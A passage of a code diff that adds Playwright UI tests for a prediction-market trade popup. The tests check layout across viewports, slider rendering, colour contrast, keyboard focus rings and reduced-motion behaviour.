+ // under 375px the row always wraps; wider, a disconnected row has no balance to wrap, so it matches only an unwrapped one + const wraps = balance!.y > title!.y + title!.height - 1; + const states = + wraps && viewport.width >= 375 + ? (["idle", "recovered"] as const) + : (["idle", "recovered", "disconnected"] as const); + for (const state of states) { + for (const first of ["1", "0"]) { + const dialog = await openPopup(page, 2, state, undefined, `&held=${held}&first=${first}`); + expect.soft(await footprint(page, dialog), `${state}, first=${first}`).toEqual(idle); + } + } + }); + } + } +}); + +test.describe("the amount's title and balance on a narrow screen", () => { + for (const { width, height, query } of [ + { width: 375, height: 812, query: "options=2&first=0&held=6833.959612" }, + { width: 320, height: 568, query: "options=2&first=0&held=6833.959612" }, + { width: 320, height: 568, query: "options=10&held=98765432109.12345" }, + ]) { + test.describe(`${query} at ${width} x ${height}`, () => { + test.use({ viewport: { width, height } }); + + test("shows the title whole, Max whole, and the balance inside the dialog", async ({ page }) => { + await openHarness(page, `${harness.url}?${query}`); + const dialog = page.getByRole("dialog"); + const node = dialog.locator('[data-panel="amount"]'); + const title = node.locator("h3"); + await expect(title).toBeVisible(); + + expect(await title.evaluate((element) => element.scrollWidth <= element.clientWidth)).toBe(true); + expect(await isFullyShown(dialog.getByRole("button", { name: "Max" }))).toBe(true); + const balance = node.getByText(/^Balance: /); + const [balanceBox, dialogBox] = [(await balance.boundingBox())!, (await dialog.boundingBox())!]; + expect(balanceBox.x + balanceBox.width).toBeLessThanOrEqual(dialogBox.x + dialogBox.width); + }); + }); + } +}); + +test.describe("the amount's balance", () => { + for (const viewport of [ + { width: 320, height: 568 }, + { width: 360, height: 640 }, + { width: 360, height: 740 }, + { width: 375, height: 667 }, + { width: 375, height: 812 }, + ]) { + for (const held of ["1234.5678", "6833.959612", "98765432109.12345"]) { + for (const first of ["1", "0"]) { + test(`shows ${held} and its token whole under ${first === "1" ? "You pay" : "Extra funds"} at ${viewport.width} x ${viewport.height}`, async ({ + page, + }) => { + await page.setViewportSize(viewport); + const dialog = await openPopup(page, 2, "idle", undefined, `&held=${held}&first=${first}`); + const figure = dialog.getByTestId("balance-figure"); + await expect(figure).toHaveText(/^[\d,.]+ sDAI$/); + expect(await figure.evaluate((element) => element.scrollWidth <= element.clientWidth)).toBe(true); + expect(await isFullyShown(figure)).toBe(true); + // only a figure too long for the line gives up the label + if (held !== "98765432109.12345") { + expect(await isFullyShown(dialog.getByText("Balance:", { exact: true }))).toBe(true); + } + }); + } + } + } + + test.describe("at 320 x 568, disconnected", () => { + test.use({ viewport: { width: 320, height: 568 } }); + + test("says no wallet is connected in full", async ({ page }) => { + const dialog = await openPopup(page, 2, "disconnected"); + const figure = dialog.getByTestId("balance-figure"); + await expect(figure).toHaveText("No wallet connected"); + expect(await figure.evaluate((element) => element.scrollWidth <= element.clientWidth)).toBe(true); + }); + }); + + test.describe("at 375 x 812", () => { + test.use({ viewport: { width: 375, height: 812 } }); + + test("sits on the title's line when it fits there", async ({ page }) => { + const dialog = await openPopup(page, 2); + const [title, balance] = await Promise.all([ + dialog.locator('[data-panel="amount"] h3').boundingBox(), + dialog.getByText(/^Balance: /).boundingBox(), + ]); + expect(Math.abs(title!.y + title!.height / 2 - (balance!.y + balance!.height / 2))).toBeLessThanOrEqual(1); + }); + }); +}); + +test.describe("a locked share slider", () => { + test.use({ viewport: { width: 1280, height: 800 } }); + + test("keeps its percent beside the track", async ({ page }) => { + const dialog = await openPopup(page, 2, "signing"); + + await expect(dialog.getByTestId("amount-share")).toBeVisible(); + await expect(dialog.getByTestId("amount-share")).toHaveText(/^\d+%$/); + }); +}); + +for (const viewport of [ + { width: 1280, height: 800 }, + { width: 375, height: 812 }, +]) { + test.describe(`the share slider at ${viewport.width} x ${viewport.height}`, () => { + test.use({ viewport }); + + test("is a 16px row with no floating label, and a 44px hit area between the summary and the steps", async ({ + page, + }) => { + const dialog = await openPopup(page, 2, "idle"); + const slider = dialog.getByTestId("amount-slider"); + const summary = dialog.getByTestId("amount-input").locator("xpath=following-sibling::p[1]"); + const [row, hit, above, below] = await Promise.all([ + slider.boundingBox(), + slider.locator("div:has(>#slider-track)").boundingBox(), + summary.boundingBox(), + dialog.getByText("Create a trade wallet", { exact: true }).boundingBox(), + ]); + + expect(row!.height).toBe(16); + expect(hit!.height).toBeGreaterThanOrEqual(44); + expect(hit!.y).toBeGreaterThanOrEqual(above!.y + above!.height); + expect(hit!.y + hit!.height).toBeLessThanOrEqual(below!.y); + await expect(slider.locator("#slider-label")).toBeHidden(); + }); + }); +} + +for (const viewport of [ + { width: 1280, height: 800 }, + { width: 375, height: 812 }, +]) { + for (const theme of ["light", "dark"]) { + test(`the share slider at 0% paints only its track along its line, ${viewport.width} x ${viewport.height} ${theme}`, async ({ + page, + }) => { + await page.setViewportSize(viewport); + const dialog = await openPopup(page, 2, "idle", undefined, `&first=0&theme=${theme}`); + const slider = dialog.getByTestId("amount-slider"); + await expect(dialog.getByTestId("amount-share")).toHaveText("0%"); + + const strays = await slider.locator("#slider-track").evaluate((track) => { + const row = track.closest("[data-testid=amount-slider]")!; + const line = track.getBoundingClientRect(); + // past the thumb at 0%, anything drawn over or beside the track's line + const from = line.left + line.width * 0.2; + // react-aria's range input is visually hidden + return [...row.querySelectorAll(":not(input)")] + .filter((element) => !element.contains(track) && !track.contains(element)) + .filter((element) => getComputedStyle(element).visibility === "visible") + .filter((element) => { + const box = element.getBoundingClientRect(); + return ( + box.width > 0 && + box.height > 0 && + box.right > from && + box.left < line.right + 4 && + box.bottom > line.top - 4 && + box.top < line.bottom + 4 + ); + }) + .map((element) => element.outerHTML.slice(0, 80)); + }); + expect(strays, "only the track paints along its line").toEqual([]); + }); + } +} + +for (const viewport of [ + { width: 1280, height: 800 }, + { width: 375, height: 812 }, +]) { + for (const theme of ["light", "dark"]) { + test(`the share slider's rail, fill and thumb are 3:1 against what they sit on, ${viewport.width} x ${viewport.height} ${theme}`, async ({ + page, + }) => { + await page.setViewportSize(viewport); + const dialog = await openPopup(page, 2, "idle", undefined, `&theme=${theme}`); + const slider = dialog.getByTestId("amount-slider"); + const [track, fill, thumb] = await Promise.all([ + slider.locator("#slider-track").boundingBox(), + slider.locator("#slider-fill").boundingBox(), + slider.locator("div:has(>#slider-label)").boundingBox(), + ]); + const shot = (await page.screenshot()).toString("base64"); + // halfway along the unfilled rail, and along the fill clear of its rounded end and the thumb + const open = Math.round((thumb!.x + thumb!.width + track!.x + track!.width) / 2); + const centre = Math.floor(track!.y + track!.height / 2); + const points = { + panel: [open, Math.floor(track!.y) - 5], + edge: [open, Math.floor(track!.y)], + rail: [open, centre], + fillStart: [Math.round(fill!.x + 6), centre], + fillEnd: [Math.round(thumb!.x - 4), centre], + thumbPanel: [Math.round(thumb!.x + thumb!.width / 2), Math.floor(thumb!.y) - 3], + thumbRing: [Math.round(thumb!.x + thumb!.width / 2), Math.floor(thumb!.y) + 1], + }; + const px = await page.evaluate( + async ({ shot, points }) => { + const bitmap = await createImageBitmap(await (await fetch(`data:image/png;base64,${shot}`)).blob()); + const canvas = new OffscreenCanvas(bitmap.width, bitmap.height); + const context = canvas.getContext("2d")!; + context.drawImage(bitmap, 0, 0); + const scale = bitmap.width / window.innerWidth; + return Object.fromEntries( + Object.entries(points).map(([name, [x, y]]) => [ + name, + `rgb(${context + .getImageData(Math.floor(x! * scale), Math.floor(y! * scale), 1, 1) + .data.slice(0, 3) + .join(", ")})`, + ]), + ); + }, + { shot, points }, + ); + + expect.soft(contrast(px.edge!, px.panel!), "the rail's edge on the panel").toBeGreaterThanOrEqual(3); + expect.soft(contrast(px.fillStart!, px.rail!), "the fill's start on the rail").toBeGreaterThanOrEqual(3); + expect.soft(contrast(px.fillEnd!, px.rail!), "the fill's end on the rail").toBeGreaterThanOrEqual(3); + expect.soft(contrast(px.thumbRing!, px.thumbPanel!), "the thumb's ring on the panel").toBeGreaterThanOrEqual(3); + }); + } +} + +/** Four-decimal credits from the visitor's wallet and a seven-figure xDAI deposit: the longest the funds step says. */ +const WORST_FUNDS = "&trades=worst&pay=native&credits=odd"; + +for (const viewport of [ + { width: 320, height: 568 }, + { width: 375, height: 812 }, + { width: 1280, height: 800 }, +]) { + for (const theme of ["light", "dark"]) { + test(`the Add funds step says credits and a seven-figure xDAI deposit whole, in a row of one height, ${viewport.width} x ${viewport.height} ${theme}`, async ({ + page, + }) => { + await page.setViewportSize(viewport); + const heights: number[] = []; + for (const state of ["idle", "signing", "failed"] as const) { + const dialog = await openPopup(page, 2, state, undefined, `${WORST_FUNDS}&theme=${theme}`); + const row = dialog.locator(".predict-steps > li").filter({ hasText: "Add funds" }); + heights.push((await row.boundingBox())!.height); + if (state !== "idle") continue; + + const value = row.locator("h2 + p"); + await expect(value).toHaveText(/^16\.2588\scredits\s\+\s1,234,\d{3}\.\d{4}\sxDAI$/); + const fit = await value.evaluate((element) => { + const box = element.getBoundingClientRect(); + const column = element.closest("li")!.querySelector(":scope > div:nth-child(2)")!.getBoundingClientRect(); + return { + cut: element.scrollWidth > element.clientWidth + 1 || element.scrollHeight > element.clientHeight + 1, + inside: box.left >= column.left - 1 && box.right <= column.right + 1 && box.bottom <= column.bottom + 1, + }; + }); + expect(fit).toEqual({ cut: false, inside: true }); + } + expect(new Set(heights).size, `the row's heights across idle, signing and failed: ${heights}`).toBe(1); + }); + } +} + +test.describe("the header's close button", () => { + test.use({ viewport: { width: 375, height: 667 } }); + + test("cannot be pressed while a run goes, and can at rest and after a stop", async ({ page }) => { + for (const state of STATES) { + const close = (await openPopup(page, 2, state)).getByRole("button", { name: "Close" }); + const running = state === "quoting" || state === "signing" || state === "confirming"; + if (running) await expect.soft(close, state).toBeDisabled(); + else await expect.soft(close, state).toBeEnabled(); + // a 44px target round its 32px circle + const box = (await close.boundingBox())!; + expect.soft(Math.min(box.width, box.height) + 12, `${state}: its target`).toBeGreaterThanOrEqual(44); + } + }); +}); + +test.describe("the popup opening focused", () => { + test.use({ viewport: { width: 1280, height: 800 } }); + + test("draws no focus ring round the container it focuses itself", async ({ page }) => { + await openPopup(page, 2, "idle"); + const focused = await page.evaluate(() => { + const element = document.activeElement!; + return { + tabIndex: element.getAttribute("tabindex"), + focusVisible: element.matches(":focus-visible"), + outline: getComputedStyle(element).outlineStyle, + }; + }); + + expect(focused).toEqual({ tabIndex: "-1", focusVisible: true, outline: "none" }); + }); + + // a window up to 480px tall scrolls the whole popup, whose scroller clips at its edges + for (const viewport of [ + { width: 1280, height: 800 }, + { width: 568, height: 320 }, + ]) { + test.describe(`at ${viewport.width} x ${viewport.height}`, () => { + test.use({ viewport }); + + for (const theme of ["light", "dark"]) { + test(`rings each control reached by keyboard once, in the popup's violet, in the ${theme} theme`, async ({ + page, + }) => { + const dialog = await openPopup(page, 2, "idle", undefined, `&tokens=2&theme=${theme}`); + const accent = await dialog.evaluate((element) => { + const probe = document.createElement("span"); + probe.style.color = "var(--fs-popup-accent)"; + element.append(probe); + const color = getComputedStyle(probe).color; + probe.remove(); + return color; + }); + expect(accent).toBe(theme === "light" ? "rgb(107, 60, 245)" : "rgb(155, 123, 255)"); + + const seen: string[] = []; + // the header's gear and close, the list's removes, the amount's controls, the summary, then Predict + for (let step = 0; step < 12; step++) { + await page.keyboard.press("Tab"); + // the ring's colour transitions in + await settle(dialog); + const ring = await page.evaluate(() => { + const element = document.activeElement as HTMLElement; + // the amount field and the share slider's input draw on their panel or thumb + const drawn = element.matches("[data-panel=amount] input[inputmode]") + ? element.closest("[data-panel]")! + : element.matches("[type=range]") + ? element.closest("div:has(>#slider-label)")! + : element; + const style = getComputedStyle(drawn); + // a ring's offset is a band of the nearest painted box under it; any other band is a second mark + let under = ""; + for (let parent = drawn.parentElement; parent && !under; parent = parent.parentElement) { + const fill = getComputedStyle(parent).backgroundColor; + if (fill !== "rgba(0, 0, 0, 0)") under = fill; + } + const rings = (style.boxShadow.match(/rgb\([^)]*\) 0px 0px 0px [1-9]\d*px/g) ?? []).filter( + (shadow) => !shadow.startsWith(under), + ); + // the panel rings for the amount field alone + const panel = element.closest("[data-panel=amount]"); + if (panel && panel !== drawn && getComputedStyle(panel).boxShadow.includes(" 2px inset")) + rings.push("panel"); + // the outline's outer edge, inside every box that clips it + const reach = + style.outlineStyle === "none" ? 0 : parseFloat(style.outlineOffset) + parseFloat(style.outlineWidth); + const box = drawn.getBoundingClientRect(); + let clipped = false; + for (let parent = drawn.parentElement; parent; parent = parent.parentElement) { + const { overflowX, overflowY } = getComputedStyle(parent); + if (overflowX === "visible" && overflowY === "visible") continue; + const clip = parent.getBoundingClientRect(); + if ( + box.left - reach < clip.left - 0.5 || + box.right + reach > clip.right + 0.5 || + box.top - reach < clip.top - 0.5 || + box.bottom + reach > clip.bottom + 0.5 + ) { + clipped = true; + } + } + return { + name: element.getAttribute("aria-label") || element.textContent?.trim() || element.tagName, + outline: style.outlineStyle === "none" ? null : `${style.outlineWidth} ${style.outlineColor}`, + rings, + clipped, + }; + }); + seen.push(ring.name); + const marks = [ + ...(ring.outline ? [ring.outline] : []), + ...ring.rings.map((shadow) => shadow.split(" 0px")[0]), + ]; + expect.soft(marks.length, `${ring.name}: one ring`).toBe(1); + expect.soft(marks[0], `${ring.name}: in the violet`).toContain(accent); + expect.soft(ring.clipped, `${ring.name}: the ring whole`).toBe(false); + } + expect(seen).toEqual(expect.arrayContaining(["Close", "Max", "Token", "2 markets move", "Predict"])); + }); + } + }); + } +}); + +test.describe("the amount field reached by keyboard", () => { + test.use({ viewport: { width: 1280, height: 800 } }); + + test("rings the amount panel, inside its edge, while the field has the focus", async ({ page }) => { + const dialog = await openPopup(page, 2, "idle"); + const panel = dialog.locator('[data-panel="amount"]'); + const input = dialog.getByTestId("amount-input").locator("input"); + const shadow = () => panel.evaluate((element) => getComputedStyle(element).boxShadow); + const [atRest, box] = [await shadow(), await panel.boundingBox()]; + + for (let step = 0; step < 12 && !(await input.evaluate((element) => element === document.activeElement)); step++) { + await page.keyboard.press("Tab"); + } + await expect(input).toBeFocused(); + + const accent = await panel.evaluate((element) => { + const probe = document.createElement("span"); + probe.style.color = "var(--fs-popup-accent)"; + element.append(probe); + const color = getComputedStyle(probe).color; + probe.remove(); + return color; + }); + expect(await shadow()).not.toBe(atRest); + expect(await shadow()).toContain(`${accent} 0px 0px 0px 2px inset`); + expect(await panel.boundingBox()).toEqual(box); + }); +}); + +test.describe("the popup's tones", () => { + test.use({ viewport: { width: 1280, height: 800 } }); + + test("checks a finished step on the axis and says a failure in the error text tone", async ({ page }) => { + await page.emulateMedia({ reducedMotion: "reduce" }); + const dialog = await openPopup(page, 2, "failed"); + const done = dialog.locator('[data-bullet="done"]').first(); + + // --fs-popup-on-axis over the bullet's axis fill, and --fs-tone-error-text, in the light theme + expect(await done.locator('[data-glyph="check"]').evaluate((glyph) => getComputedStyle(glyph).color)).toBe( + "rgb(255, 255, 255)", + ); + expect(await done.evaluate((bullet) => getComputedStyle(bullet, "::before").opacity)).toBe("1"); + expect( + await dialog.getByTestId("status-glyph").evaluate((glyph) => getComputedStyle(glyph).color), + "the failure's glyph", + ).toBe("rgb(196, 0, 42)"); + }); +}); + +/** The callout's surface, glyph and sentence as opaque rgb, read through a canvas so color-mix() resolves. */ +function calloutColours(dialog: Locator) { + return dialog.getByRole("status").evaluate((status) => { + const box = status.querySelector("[data-testid=status-box]")!; + const glyph = status.querySelector("[data-testid=status-glyph]")!; + const text = status.querySelector("[data-testid=status-text]")!; + const context = document.createElement("canvas").getContext("2d", { willReadFrequently: true })!; + const rgb = (css: string, under = "#ffffff") => { + context.fillStyle = under; + context.fillRect(0, 0, 1, 1); + context.fillStyle = css; + context.fillRect(0, 0, 1, 1); + const [r, g, b] = context.getImageData(0, 0, 1, 1).data; + return `rgb(${r}, ${g}, ${b})`; + }; + const sheet = rgb(getComputedStyle(status.closest("[role=dialog]")!).backgroundColor); + const surface = getComputedStyle(box).backgroundColor; + const glyphBox = glyph.getBoundingClientRect(); + return { + surface: surface === "rgba(0, 0, 0, 0)" ? "transparent" : rgb(surface, sheet), + under: rgb(surface, sheet), + glyph: rgb(getComputedStyle(glyph).color), + text: rgb(getComputedStyle(text).color), + glyphSize: [glyphBox.width, glyphBox.height], + radius: getComputedStyle(box).borderTopLeftRadius, + enters: box.classList.contains("fs-enter"), + }; + }); +} + +test.describe("the status callout", () => { + test.use({ viewport: { width: 1280, height: 800 } }); + + for (const { width, height, size } of [ + { width: 1280, height: 800, size: ["13px", "17px"] }, + { width: 375, height: 812, size: ["13px", "17px"] }, + { width: 375, height: 667, size: ["12px", "16px"] }, + { width: 320, height: 568, size: ["12px", "16px"] }, + ]) { + test(`sets its sentence at ${size.join("/")} at ${width} x ${height}`, async ({ page }) => { + await page.setViewportSize({ width, height }); + const dialog = await openPopup(page, 2, "failed", "reverted"); + const text = dialog.getByTestId("status-text"); + await expect(text).not.toBeEmpty(); + expect( + await text.evaluate((element) => [getComputedStyle(element).fontSize, getComputedStyle(element).lineHeight]), + ).toEqual(size); + }); + } + + for (const theme of ["light", "dark"] as const) { + const TONES = [ + { tone: "error", extra: "&state=failed&reason=reverted", surface: true, enters: true }, + { tone: "warning", extra: "&state=moved", surface: true, enters: true }, + { tone: "neutral", extra: "&leftOut=2", surface: false, enters: false }, + ] as const; + for (const { tone, extra, surface, enters } of TONES) { + test(`says ${tone === "error" ? "an" : "a"} ${tone} line in ink beside a 16px glyph in its tone, ${surface ? "on a tinted surface" : "on the sheet"}, in the ${theme} theme`, async ({ + page, + }) => { + await page.emulateMedia({ reducedMotion: "reduce" }); + await openHarness(page, `${harness.url}?options=2&theme=${theme}${extra}`); + const dialog = page.getByRole("dialog"); + await expect(dialog.getByTestId("status-text")).not.toBeEmpty(); + const colours = await calloutColours(dialog); + const [ink, tint, ink2] = await Promise.all([ + tokenValue(page, "color", "var(--fs-popup-text)"), + tokenValue( + page, + "color", + `var(--fs-tone-${tone === "neutral" ? "neutral" : tone}-text, var(--fs-popup-text-3))`, + ), + tokenValue(page, "color", "var(--fs-popup-text-2)"), + ]); + + expect.soft(colours.glyphSize, "the glyph's box").toEqual([16, 16]); + expect.soft(colours.radius, "the control radius").toBe("10px"); + expect.soft(colours.enters, "enters with fs-enter").toBe(enters); + if (surface) { + expect.soft(colours.surface, "a tinted surface").not.toBe("transparent"); + expect.soft(colours.text, "the sentence in ink").toBe(ink); + expect.soft(colours.glyph, "the glyph in the tone's text colour").toBe(tint); + expect.soft(contrast(colours.glyph, colours.under), "the glyph on its surface").toBeGreaterThanOrEqual(3); + } else { + expect.soft(colours.surface, "no surface").toBe("transparent"); + expect.soft(colours.text, "the note in the secondary text").toBe(ink2); + } + expect.soft(contrast(colours.text, colours.under), "the sentence on its surface").toBeGreaterThanOrEqual(4.5); + }); + } + } +}); + +test.describe("the bottom half's spacing", () => { + for (const { width, height, title, detail, row } of [ + { width: 1280, height: 800, title: "600 13px/18px", detail: "400 12px/16px", row: 36 }, + { width: 375, height: 812, title: "600 13px/16px", detail: "400 12px/16px", row: 40 }, + { width: 375, height: 667, title: "600 13px/16px", detail: "400 12px/16px", row: 40 }, + ]) { + test(`sets the steps in ${title} over ${detail} in ${row}px rows, and the callout 8px over the button, at ${width} x ${height}`, async ({ + page, + }) => { + await page.setViewportSize({ width, height }); + const dialog = await openPopup(page, 2, "failed", "reverted"); + await expect(dialog.getByTestId("status-text")).not.toBeEmpty(); + const measured = await dialog.evaluate((element) => { + const font = (node: Element) => { + const style = getComputedStyle(node); + return `${style.fontWeight} ${style.fontSize}/${style.lineHeight}`; + }; + const rows = [...element.querySelectorAll(".predict-steps > li")]; + const box = element.querySelector("[data-testid=status-box]")!.getBoundingClientRect(); + const cta = element.querySelector(".predict-footer > .predict-cta")!.getBoundingClientRect(); + return { + titles: [...new Set(rows.map((row) => font(row.querySelector("h2")!)))], + details: [...new Set(rows.map((row) => font(row.querySelector("h2 + p")!)))], + rows: [rows[0], rows[2]].map( + (row) => row!.querySelector(":scope > div:nth-child(2)")!.getBoundingClientRect().height, + ), + calloutToButton: Math.round(cta.top - box.bottom), + }; + }); + + expect.soft(measured.titles, "step titles").toEqual([title]); + expect.soft(measured.details, "step details").toEqual([detail]); + expect.soft(measured.rows, "the first and last rows").toEqual([row, row]); + expect.soft(measured.calloutToButton, "the callout to the button").toBe(8); + }); + } +}); + +test.describe("the running step", () => { + test.use({ viewport: { width: 1280, height: 800 } }); + + test("pulses its bullet, not its words, and the status line stays empty", async ({ page }) => { + const dialog = await openPopup(page, 2, "signing"); + const running = dialog.locator("li").filter({ has: page.locator('[data-bullet="running"]') }); + const animationOf = (element: Locator) => element.evaluate((node) => getComputedStyle(node).animationName); + + expect(await animationOf(dialog.locator('[data-bullet="running"]'))).toBe("loading"); + expect(await animationOf(running)).toBe("none"); + await expect(dialog.getByRole("status")).toHaveText(""); + }); +}); + +test.describe("the amount panel's tint", () => { + test.use({ viewport: { width: 1280, height: 800 } }); + + for (const theme of ["light", "dark"]) { + test(`is one even linear tint along the axis, with no corner hotspot, in the ${theme} theme`, async ({ page }) => { + await openHarness(page, `${harness.url}?options=2&theme=${theme}`); + const image = await page + .locator("[data-panel=amount]") + .evaluate((panel) => getComputedStyle(panel).backgroundImage); + + expect(image.match(/linear-gradient/g)).toHaveLength(1); + expect(image).not.toContain("radial-gradient"); + // a color-mix() stop computes to color(srgb r g b / alpha) + const alphas = [...image.matchAll(/color\(srgb [\d.]+ [\d.]+ [\d.]+ \/ ([\d.]+)\)/g)].map((match) => + Number(match[1]), + ); + expect(alphas).toEqual(theme === "dark" ? [0.14, 0.1] : [0.06, 0.06]); + }); + } +}); + +test.describe("the price check before a run", () => { + test.use({ viewport: { width: 1280, height: 800 } }); + + test("says Checking prices… on the summary and the button while every step waits", async ({ page }) => { + const dialog = await openPopup(page, 2, "quoting"); + + await expect(dialog.locator('[data-bullet="running"]')).toHaveCount(0); + await expect(dialog.getByTestId("predict-summary").getByRole("button").first()).toHaveText("Checking prices…"); + await expect(dialog.locator(".predict-footer > .predict-cta")).toHaveText("Checking prices…"); + const rows = dialog.getByRole("listitem", { name: /^Timeline item/ }); + await expect(rows).toHaveCount(3); + const subtitles = await rows.evaluateAll((items) => + Object.fromEntries( + items.map((item) => [item.querySelector("h2")?.textContent, item.querySelector("h2 + p")?.textContent ?? ""]), + ), + ); + // only the funds row names something, the amount it adds; no row says it is waiting + expect(subtitles).toMatchObject({ "Create a trade wallet": "", "Place prediction": "" }); + expect(Object.values(subtitles).join(" ")).not.toContain("…"); + }); + + test("travels linearly and is widest mid-track, by transform alone, after a delay a quick quote ends within", async ({ + page, + }) => { + const dialog = await openPopup(page, 2, "quoting"); + const sweep = await dialog.locator("[data-testid=pricing-sweep] > i").evaluate((node) => { + const properties = (animations: Animation[]) => [ + ...new Set( + animations + .flatMap((animation) => (animation.effect as KeyframeEffect).getKeyframes()) + .flatMap((frame) => Object.keys(frame)) + .filter((key) => !["offset", "easing", "composite", "computedOffset"].includes(key)), + ), + ]; + const all = node.getAnimations({ subtree: true }); + const bar = all.filter((animation) => (animation.effect as KeyframeEffect).pseudoElement === "::before"); + const easings = all.flatMap((animation) => + (animation.effect as KeyframeEffect).getKeyframes().map((frame) => frame.easing), + ); + const widest = bar[0] && (bar[0].effect as KeyframeEffect).getKeyframes().find((frame) => frame.offset === 0.5); + return { + easings: [...new Set(easings)], + delays: all.map((animation) => (animation.effect as KeyframeEffect).getTiming().delay), + widest: widest?.transform, + names: all.map((animation) => (animation as CSSAnimation).animationName).sort(), + properties: properties(all), + barProperties: properties(bar), + }; + }); + + expect(sweep.names).toEqual(["predict-sweep-stretch", "predict-sweep-travel"]); + expect(sweep.properties).toEqual(["transform"]); + expect(sweep.barProperties).toEqual(["transform"]); + expect(sweep.easings).toEqual(["linear"]); + expect(sweep.delays).toEqual([250, 250]); + // the travel is linear, so halfway through the loop the bar's centre is the track's + expect(sweep.widest).toBe("scaleX(0.6)"); + }); +}); + +test.describe("the popup under reduced motion", () => { + test.use({ viewport: { width: 1280, height: 800 } }); + + for (const state of ["signing", "quoting"] as const) { + test(`keeps the running step, the busy button and the price check still while ${state}`, async ({ page }) => { + await page.emulateMedia({ reducedMotion: "reduce" }); + const dialog = await openPopup(page, 2, state); + // a ring that cannot turn reads as a stray glyph, so the busy label stands alone + await expect(dialog.getByTestId("predict-spinner")).toBeHidden(); + await expect(dialog.locator(".predict-footer > .predict-cta")).toHaveAttribute("data-busy"); + const animations = await dialog + .locator("li, li *, button svg, [data-testid=predict-spinner]") + .evaluateAll((items) => items.map((item) => getComputedStyle(item).animationName)); + + expect(animations.every((name) => name === "none")).toBe(true); + if (state === "quoting") { + // the line pulses its opacity in place, so it does not read as a finished divider + const line = await dialog.locator("[data-testid=pricing-sweep] > i").evaluate((node) => ({ + name: getComputedStyle(node).animationName, + transform: getComputedStyle(node).transform, + bar: getComputedStyle(node, "::before").animationName, + properties: [ + ...new Set( + node + .getAnimations() + .flatMap((animation) => (animation.effect as KeyframeEffect).getKeyframes()) + .flatMap((frame) => Object.keys(frame)) + .filter((key) => !["offset", "easing", "composite", "computedOffset"].includes(key)), + ), + ], + })); + expect(line).toEqual({ name: "predict-sweep-pulse", transform: "none", bar: "none", properties: ["opacity"] }); + } + }); + } +}); + +test.describe("a disabled Predict", () => { + test.use({ viewport: { width: 1280, height: 800 } }); + + /** The button's fill as 0-255 channels and its white label's contrast on it. */ + const readFill = (predict: Locator) => + predict.evaluate((button) => { + const numbers = (css: string) => css.match(/[\d.]+/g)!.map(Number); + // a color-mix() fill computes to color(srgb r g b / a), channels 0-1 + const css = getComputedStyle(button).backgroundColor; + const [r = 0, g = 0, b = 0, alpha = 1] = css.startsWith("color(") + ? numbers(css).map((n, i) => (i < 3 ? n * 255 : n)) + : numbers(css); + const linear = (c: number) => ((c /= 255) <= 0.03928 ? c / 12.92 : ((c + 0.055) / 1.055) ** 2.4); + const luminance = ([x = 0, y = 0, z = 0]: number[]) => + 0.2126 * linear(x) + 0.7152 * linear(y) + 0.0722 * linear(z); + const label = numbers(getComputedStyle(button.querySelector(".button-text")!).color).slice(0, 3); + const [fill, text] = [luminance([r, g, b]), luminance(label)]; + return { + fill: [r, g, b].map(Math.round), + alpha, + opacity: Number(getComputedStyle(button).opacity), + ratio: (Math.max(fill, text) + 0.05) / (Math.min(fill, text) + 0.05), + }; + }); + + // --fs-popup-cta-disabled in each theme + for (const [theme, fill] of [ + ["light", [235, 232, 244]], + ["dark", [46, 32, 108]], + ] as const) { + test(`is the muted panel tone with its label at 4.5:1 or more in the ${theme} theme`, async ({ page }) => { + await openHarness(page, `${harness.url}?options=2&state=over&theme=${theme}`); + const predict = page.getByRole("dialog").getByRole("button", { name: "Predict" }); + await expect(predict).toBeDisabled(); + + const shown = await readFill(predict); + expect(shown.alpha).toBe(1); + expect(shown.opacity).toBe(1); + shown.fill.forEach((channel, index) => expect.soft(Math.abs(channel - fill[index]!)).toBeLessThanOrEqual(2)); + expect(shown.ratio).toBeGreaterThanOrEqual(4.5); + }); + } + + test("dims Max to the tertiary text while it cannot be pressed", async ({ page }) => { + const dialog = await openPopup(page, 2, "signing"); + const max = dialog.getByRole("button", { name: "Max" }); + await expect(max).toBeDisabled(); + + const [label, secondary] = await Promise.all([ + max.locator(".button-text").evaluate((element) => getComputedStyle(element).color), + dialog.evaluate((element) => { + const probe = element.ownerDocument.createElement("span"); + probe.className = "text-fs-popup-text-3"; + element.append(probe); + const color = getComputedStyle(probe).color; + probe.remove(); + return color; + }), + ]); + expect(label).toBe(secondary); + }); +}); + +test.describe("accent text in the dark theme", () => { + test.use({ viewport: { width: 1280, height: 800 } }); + + test("reads at AA on the dialog's surface", async ({ page }) => { + await openHarness(page, `${harness.url}?options=2&state=idle&theme=dark`); + const max = page.getByRole("dialog").getByRole("button", { name: "Max" }).locator(".button-text"); + + const ratio = await max.evaluate((label) => { + const channels = (css: string) => + css + .match(/[\d.]+/g)! + .slice(0, 3) + .map((n) => Number(n) / 255); + const linear = (c: number) => (c <= 0.03928 ? c / 12.92 : ((c + 0.055) / 1.055) ** 2.4); + const luminance = ([r = 0, g = 0, b = 0]: number[]) => + 0.2126 * linear(r) + 0.7152 * linear(g) + 0.0722 * linear(b); + const text = luminance(channels(getComputedStyle(label).color)); + const surface = luminance(channels(getComputedStyle(label.closest("section")!).backgroundColor)); + return (Math.max(text, surface) + 0.05) / (Math.min(text, surface) + 0.05); + }); + + expect(ratio).toBeGreaterThanOrEqual(4.5); + }); +}); + +test.describe("an inactive step", () => { + test.use({ viewport: { width: 1280, height: 800 } }); + + /** Each inactive row's title, detail and digit as painted: colour blended by every ancestor's opacity over the first opaque fill. */ + const painted = (dialog: Locator) => + dialog.locator('.predict-steps > li:has([data-bullet="inactive"])').evaluateAll((rows) => + rows.flatMap((row) => + [row.querySelector("h2"), row.querySelector("h2 + p"), row.querySelector('[data-glyph="digit"]')] + .filter((node): node is Element => node !== null && node.textContent!.trim() !== "") + .map((node) => { + const channels = (css: string) => css.match(/[\d.]+/g)!.map(Number); + let alpha = 1; + let fill: number[] | undefined; + // an opacity above the fill fades text and ground alike + for (let at: Element | null = node; at && !fill; at = at.parentElement) { + alpha *= Number(getComputedStyle(at).opacity); + const [r = 0, g = 0, b = 0, a = 1] = channels(getComputedStyle(at).backgroundColor); + if (a === 1) fill = [r, g, b]; + } + const [r = 0, g = 0, b = 0, a = 1] = channels(getComputedStyle(node).color); + const ground = fill ?? [255, 255, 255]; + const mix = [r, g, b].map((c, i) => Math.round(c * a * alpha + ground[i]! * (1 - a * alpha))); + return { + text: node.textContent!.trim(), + color: `rgb(${mix.join(", ")})`, + ground: `rgb(${ground.join(", ")})`, + }; + }), + ), + ); + + for (const theme of ["light", "dark"]) { + for (const [state, extra] of [ + ["idle", 